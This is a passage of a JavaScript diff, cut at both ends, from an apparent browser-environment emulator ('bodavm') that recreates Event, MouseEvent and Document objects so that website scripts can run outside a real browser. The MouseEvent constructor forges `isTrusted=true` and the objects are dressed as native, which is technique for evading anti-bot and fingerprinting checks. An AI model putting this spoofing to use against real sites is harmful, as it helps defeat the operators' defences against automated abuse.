set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "cancelable", { + configurable: true, + enumerable: true, + get: function cancelable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "defaultPrevented", { + configurable: true, + enumerable: true, + get: function defaultPrevented() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "defaultPrevented_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "composed", { + configurable: true, + enumerable: true, + get: function composed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "timeStamp", { + configurable: true, + enumerable: true, + get: function timeStamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "timeStamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "srcElement", { + configurable: true, + enumerable: true, + get: function srcElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "srcElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "returnValue", { + configurable: true, + enumerable: true, + get: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_get", arguments); + }, + set: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "cancelBubble", { + configurable: true, + enumerable: true, + get: function cancelBubble() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_get", arguments); + }, + set: function cancelBubble() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "composedPath", { + configurable: true, + enumerable: true, + writable: true, + value: function composedPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composedPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "initEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "initEvent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "preventDefault", { + configurable: true, + enumerable: true, + writable: true, + value: function preventDefault() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "preventDefault", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "stopImmediatePropagation", { + configurable: true, + enumerable: true, + writable: true, + value: function stopImmediatePropagation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopImmediatePropagation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "stopPropagation", { + configurable: true, + enumerable: true, + writable: true, + value: function stopPropagation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopPropagation", arguments); + } +}, 'prototype'); + +// event对象 + +bodavm.memory.globalobj['event'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['event'].__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.toolsFunc.defineProperty('event', "isTrusted", { + configurable: false, + enumerable: true, + get: function isTrusted() { + return bodavm.toolsFunc.dispatch(this, event, "event", "isTrusted_get", arguments, true); + }, + set: undefined +}); +// UIEvent对象 + +bodavm.memory.globalobj['UIEvent'] = function UIEvent() { + console.log_copy('UIEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof UIEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'UIEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UIEvent'], "UIEvent"); +bodavm.memory.globalobj['UIEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['UIEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('UIEvent', "view", { + configurable: true, + enumerable: true, + get: function view() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "view_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "sourceCapabilities", { + configurable: true, + enumerable: true, + get: function sourceCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "sourceCapabilities_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "which", { + configurable: true, + enumerable: true, + get: function which() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "which_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "initUIEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initUIEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "initUIEvent", arguments); + } +}, 'prototype'); +// MouseEvent对象 + +bodavm.memory.globalobj['MouseEvent'] = function MouseEvent() { + console.log_copy('MouseEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this.isTrusted=true + // this.timeStamp=907807.599999994 + debugger + this._botype=arguments[0] + if (!(this instanceof MouseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': 1 argument required, but only 0 present."); + } + // ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MouseEvent'], "MouseEvent"); +bodavm.memory.globalobj['MouseEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['MouseEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('MouseEvent', "screenX", { + configurable: true, + enumerable: true, + get: function screenX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "screenY", { + configurable: true, + enumerable: true, + get: function screenY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "clientX", { + configurable: true, + enumerable: true, + get: function clientX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "clientY", { + configurable: true, + enumerable: true, + get: function clientY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "ctrlKey", { + configurable: true, + enumerable: true, + get: function ctrlKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "ctrlKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "shiftKey", { + configurable: true, + enumerable: true, + get: function shiftKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "shiftKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "altKey", { + configurable: true, + enumerable: true, + get: function altKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "altKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "metaKey", { + configurable: true, + enumerable: true, + get: function metaKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "metaKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "button", { + configurable: true, + enumerable: true, + get: function button() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "button_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "buttons", { + configurable: true, + enumerable: true, + get: function buttons() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "buttons_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "relatedTarget", { + configurable: true, + enumerable: true, + get: function relatedTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "relatedTarget_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "pageX", { + configurable: true, + enumerable: true, + get: function pageX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "pageY", { + configurable: true, + enumerable: true, + get: function pageY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "offsetX", { + configurable: true, + enumerable: true, + get: function offsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "offsetY", { + configurable: true, + enumerable: true, + get: function offsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "movementX", { + configurable: true, + enumerable: true, + get: function movementX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "movementY", { + configurable: true, + enumerable: true, + get: function movementY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "fromElement", { + configurable: true, + enumerable: true, + get: function fromElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "fromElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "toElement", { + configurable: true, + enumerable: true, + get: function toElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "toElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "layerX", { + configurable: true, + enumerable: true, + get: function layerX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "layerY", { + configurable: true, + enumerable: true, + get: function layerY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "getModifierState", { + configurable: true, + enumerable: true, + writable: true, + value: function getModifierState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "getModifierState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "initMouseEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initMouseEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "initMouseEvent", arguments); + } +}, 'prototype'); +// Document对象 + +bodavm.memory.globalobj['Document'] = function Document() { + console.log_copy('Document 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Document(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Document'], "Document"); +bodavm.memory.globalobj['Document'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Document'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Document', "implementation", { + configurable: true, + enumerable: true, + get: function implementation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "implementation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "URL", { + configurable: true, + enumerable: true, + get: function URL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "URL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "documentURI", { + configurable: true, + enumerable: true, + get: function documentURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "compatMode", { + configurable: true, + enumerable: true, + get: function compatMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "compatMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "characterSet", { + configurable: true, + enumerable: true, + get: function characterSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "characterSet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "charset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "inputEncoding", { + configurable: true, + enumerable: true, + get: function inputEncoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "inputEncoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "contentType", { + configurable: true, + enumerable: true, + get: function contentType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "contentType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "doctype", { + configurable: true, + enumerable: true, + get: function doctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "doctype_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "documentElement", { + configurable: true, + enumerable: true, + get: function documentElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlEncoding", { + configurable: true, + enumerable: true, + get: function xmlEncoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlEncoding_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlVersion", { + configurable: true, + enumerable: true, + get: function xmlVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_get", arguments); + }, + set: function xmlVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "xmlStandalone", { + configurable: true, + enumerable: true, + get: function xmlStandalone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_get", arguments); + }, + set: function xmlStandalone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "domain", { + configurable: true, + enumerable: true, + get: function domain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_get", arguments); + }, + set: function domain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "referrer", { + configurable: true, + enumerable: true, + get: function referrer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "referrer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "cookie", { + configurable: true, + enumerable: true, + get: function cookie() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_get", arguments); + }, + set: function cookie() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "lastModified", { + configurable: true, + enumerable: true, + get: function lastModified() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastModified_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "dir", { + configurable: true, + enumerable: true, + get: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_get", arguments); + }, + set: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_get", arguments); + }, + set: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "head", { + configurable: true, + enumerable: true, + get: function head() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "head_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "images", { + configurable: true, + enumerable: true, + get: function images() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "images_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "embeds", { + configurable: true, + enumerable: true, + get: function embeds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "embeds_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "plugins", { + configurable: true, + enumerable: true, + get: function plugins() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "plugins_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "links", { + configurable: true, + enumerable: true, + get: function links() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "links_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "forms", { + configurable: true, + enumerable: true, + get: function forms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "forms_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "scripts", { + configurable: true, + enumerable: true, + get: function scripts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scripts_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "currentScript", { + configurable: true, + enumerable: true, + get: function currentScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "currentScript_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "defaultView", { + configurable: true, + enumerable: true, + get: function defaultView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "defaultView_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "designMode", { + configurable: true, + enumerable: true, + get: function designMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_get", arguments); + }, + set: function designMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onreadystatechange", { + configurable: true, + enumerable: true, + get: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_get", arguments); + }, + set: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "anchors", { + configurable: true, + enumerable: true, + get: function anchors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "anchors_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "applets", { + configurable: true, + enumerable: true, + get: function applets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "applets_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fgColor", { + configurable: true, + enumerable: true, + get: function fgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_get", arguments); + }, + set: function fgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "linkColor", { + configurable: true, + enumerable: true, + get: function linkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_get", arguments); + }, + set: function linkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "vlinkColor", { + configurable: true, + enumerable: true, + get: function vlinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_get", arguments); + }, + set: function vlinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "alinkColor", { + configurable: true, + enumerable: true, + get: function alinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_get", arguments); + }, + set: function alinkColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "all", { + configurable: true, + enumerable: true, + get: function all() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "all_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "scrollingElement", { + configurable: true, + enumerable: true, + get: function scrollingElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scrollingElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerlockchange", { + configurable: true, + enumerable: true, + get: function onpointerlockchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_get", arguments); + }, + set: function onpointerlockchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerlockerror", { + configurable: true, + enumerable: true, + get: function onpointerlockerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_get", arguments); + }, + set: function onpointerlockerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "hidden", { + configurable: true, + enumerable: true, + get: function hidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hidden_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "visibilityState", { + configurable: true, + enumerable: true, + get: function visibilityState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "visibilityState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "wasDiscarded", { + configurable: true, + enumerable: true, + get: function wasDiscarded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "wasDiscarded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "featurePolicy", { + configurable: true, + enumerable: true, + get: function featurePolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "featurePolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitVisibilityState", { + configurable: true, + enumerable: true, + get: function webkitVisibilityState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitVisibilityState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitHidden", { + configurable: true, + enumerable: true, + get: function webkitHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitHidden_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforecopy", { + configurable: true, + enumerable: true, + get: function 